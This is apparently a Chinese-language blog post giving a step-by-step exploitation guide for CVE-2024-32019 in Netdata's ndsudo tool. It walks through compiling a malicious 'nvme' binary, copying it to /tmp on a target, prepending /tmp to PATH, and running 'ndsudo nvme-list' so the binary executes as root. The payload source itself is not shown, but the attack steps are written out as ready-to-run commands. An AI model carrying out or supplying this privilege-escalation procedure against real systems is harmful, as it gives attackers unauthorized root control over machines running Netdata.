Netdata本地权限提升漏洞利用指南(CVE-2024-32019)

本文详细介绍了如何利用Netdata中ndsudo组件的漏洞(CVE-2024-32019)实现本地权限提升至root。通过编译恶意二进制文件并注入PATH环境变量,攻击者可执行任意命令获取root权限。

通过ndsudo实现的权限提升(Netdata本地漏洞利用)

此POC用于利用Netdata捆绑的易受攻击的ndsudo工具,将本地权限提升至root。漏洞利用的工作原理是将恶意二进制文件注入用户的PATH中,该文件冒充受信任的命令(nvme),并由ndsudo以root权限执行。


前提条件与假设

  • 您在目标系统上具有本地shell访问权限

  • 您可以执行以下命令,但会出现"未找到"或类似错误:

    1
    
    ./ndsudo nvme-list
    

1. 编译恶意负载

在您的攻击机器上(或如果易受攻击的系统有编译器),编译恶意二进制文件(例如从文件poc.c):

1
gcc poc.c -o nvme

此二进制文件应设计为生成root shell或以root权限执行任意命令。


2. 将负载传输到目标系统

将编译好的nvme二进制文件移动或上传到用户可写的目录,例如/tmp

1
2
scp nvme user@target:/tmp/
# 或使用您拥有的任何文件上传方法

3. 准备执行负载

目标系统上,确保二进制文件可执行,并将其目录添加到您的PATH前面:

1
2
chmod +x /tmp/nvme
export PATH=/tmp:$PATH

这确保ndsudo将解析并执行您的恶意nvme而不是合法的那个。


4. 触发ndsudo执行您的负载

运行易受攻击的命令以触发ndsudo

1
./ndsudo nvme-list

资源

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计